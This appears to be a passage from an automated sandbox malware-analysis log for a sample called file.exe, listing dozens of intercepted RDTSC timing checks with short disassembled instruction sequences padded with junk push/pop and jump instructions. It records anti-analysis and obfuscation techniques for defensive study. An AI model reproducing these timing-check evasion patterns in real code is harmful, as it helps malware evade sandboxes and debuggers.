Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0049 second address: 10B004F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B004F second address: 10B0054 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B0054 second address: 10B0059 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B01B8 second address: 10B01CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72FCF2ACCEh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B07B0 second address: 10B07B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B07B6 second address: 10B07EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F72FCF2ACD2h 0x0000000b popad 0x0000000c push edx 0x0000000d jmp 00007F72FCF2ACCCh 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F72FCF2ACCCh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B7D53 second address: 10B7D57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B7D57 second address: 10B7D6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F72FCF2ACC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jc 00007F72FCF2ACCEh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B6F5B second address: 10B6F61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B6F61 second address: 10B6F6D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B6F6D second address: 10B6F71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B71B7 second address: 10B71BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B71BB second address: 10B71C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B71C5 second address: 10B71EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72FCF2ACD4h 0x00000007 push edi 0x00000008 jmp 00007F72FCF2ACCAh 0x0000000d pop edi 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B7380 second address: 10B7398 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72FCC0D44Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007F72FCC0D446h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B7648 second address: 10B7657 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F72FCF2ACC6h 0x00000009 pushad 0x0000000a popad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B7657 second address: 10B7670 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007F72FCC0D44Ch 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B7670 second address: 10B7674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B7674 second address: 10B767A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B767A second address: 10B7680 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C2C24 second address: 10C2C28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C2C28 second address: 10C2C2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C2C2E second address: 10C2C38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C2C38 second address: 10C2C3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C3577 second address: 10C3582 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007F72FCC0D446h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C3582 second address: 10C358E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F72FCF2ACC6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C358E second address: 10C3596 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C3596 second address: 10C359E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C3BF3 second address: 10C3BF9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10C3BF9 second address: 10C3C57 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jp 00007F72FCF2ACC6h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b pop edi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007F72FCF2ACCFh 0x00000014 push esi 0x00000015 jmp 00007F72FCF2ACD4h 0x0000001a jo 00007F72FCF2ACC6h 0x00000020 pop esi 0x00000021 jl 00007F72FCF2ACC8h 0x00000027 pushad 0x00000028 popad 0x00000029 push eax 0x0000002a push edx 0x0000002b pushad 0x0000002c popad 0x0000002d jmp 00007F72FCF2ACD8h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CBD9D second address: 10CBDA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CBDA1 second address: 10CBDA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CBF0B second address: 10CBF1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007F72FCC0D44Ch 0x0000000d jg 00007F72FCC0D446h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CE7C7 second address: 10CE7CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CE625 second address: 10CE629 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CE629 second address: 10CE62F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CE62F second address: 10CE635 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10CE635 second address: 10CE63F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F72FCF2ACC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10D8E9C second address: 10D8EA5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DC98E second address: 10DC996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DC996 second address: 10DC99B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DC99B second address: 10DC9CC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jno 00007F72FCF2ACC6h 0x00000009 ja 00007F72FCF2ACC6h 0x0000000f pop ebx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 jc 00007F72FCF2ACC6h 0x0000001b pop edi 0x0000001c jmp 00007F72FCF2ACD5h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10DC9CC second address: 10DC9E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F72FCC0D44Eh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E6192 second address: 10E61AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007F72FCF2ACCCh 0x0000000a pop eax 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E61AB second address: 10E61D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 jmp 00007F72FCC0D44Fh 0x0000000e pushad 0x0000000f popad 0x00000010 jnp 00007F72FCC0D446h 0x00000016 popad 0x00000017 pushad 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E7844 second address: 10E784A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E784A second address: 10E7854 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E7854 second address: 10E7859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E7859 second address: 10E7865 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jno 00007F72FCC0D446h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E7865 second address: 10E7869 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E7869 second address: 10E7891 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F72FCC0D452h 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jnc 00007F72FCC0D44Ch 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10E7891 second address: 10E78B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F72FCF2ACD6h 0x00000007 jbe 00007F72FCF2ACCCh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F0692 second address: 10F0699 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F3076 second address: 10F307B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F307B second address: 10F3086 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F3086 second address: 10F308A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC0EB second address: 10FC0FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007F72FCC0D452h 0x0000000b jbe 00007F72FCC0D446h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FA908 second address: 10FA90C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FA90C second address: 10FA915 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FAC29 second address: 10FAC4C instructions: 0x00000000 rdtsc 0x00000002 jng 00007F72FCF2ACC8h 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b pushad 0x0000000c popad 0x0000000d push esi 0x0000000e pop esi 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F72FCF2ACCAh 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FAC4C second address: 10FAC50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FAC50 second address: 10FAC75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007F72FCF2ACC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F72FCF2ACD5h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FB39B second address: 10FB3B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F72FCC0D446h 0x0000000a popad 0x0000000b jmp 00007F72FCC0D44Fh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FB3B5 second address: 10FB3BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007F72FCF2ACC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1111B66 second address: 1111B7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jnl 00007F72FCC0D44Eh 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1111B7C second address: 1111B82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11082BB second address: 11082D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F72FCC0D44Fh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11082D5 second address: 11082F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F72FCF2ACD8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111FC57 second address: 111FC61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F72FCC0D446h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111FC61 second address: 111FC6C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111FC6C second address: 111FC79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F72FCC0D446h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111FC79 second address: 111FC7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111FC7F second address: 111FC85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111FC85 second address: 111FC89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111FC89 second address: 111FC93 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F72FCC0D446h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112E57C second address: 112E584 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112E584 second address: 112E589 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112E589 second address: 112E593 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F72FCF2ACCCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112E724 second address: 112E728 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112E728 second address: 112E732 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112E732 second address: 112E736 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112EDA1 second address: 112EDAE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jo 00007F72FCF2ACC6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1130880 second address: 1130886 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1135F60 second address: 1135F66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113624B second address: 1136280 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jp 00007F72FCC0D446h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d mov edx, 6F945F5Ah 0x00000012 push 00000004h 0x00000014 mov dx, cx 0x00000017 call 00007F72FCC0D449h 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F72FCC0D453h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1136280 second address: 11362EC instructions: 0x00000000 rdtsc 0x00000002 js 00007F72FCF2ACC8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push ebx 0x0000000f push eax 0x00000010 pop eax 0x00000011 pop ebx 0x00000012 ja 00007F72FCF2ACC8h 0x00000018 popad 0x00000019 mov eax, dword ptr [esp+04h] 0x0000001d pushad 0x0000001e jmp 00007F72FCF2ACD5h 0x00000023 pushad 0x00000024 jnc 00007F72FCF2ACC6h 0x0000002a jmp 00007F72FCF2ACD6h 0x0000002f popad 0x00000030 popad 0x00000031 mov eax, dword ptr [eax] 0x00000033 pushad 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F72FCF2ACD3h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11362EC second address: 11362F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1136606 second address: 113660F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113660F second address: 1136613 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1137FA1 second address: 1137FAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F72FCF2ACC6h 0x0000000a push esi 0x0000000b pop esi 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1137FAE second address: 1137FBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F72FCC0D446h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1137FBA second address: 1137FBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11399B9 second address: 11399BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF02DB second address: 4EF02E1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF02E1 second address: 4EF02F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF02F2 second address: 4EF02F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF0386 second address: 4EF038B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF038B second address: 4EF03B1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 22910CC6h 0x00000008 movsx ebx, si 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e xchg eax, ebp 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F72FCF2ACD5h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF03B1 second address: 4EF03B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EF03B7 second address: 4EF03BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
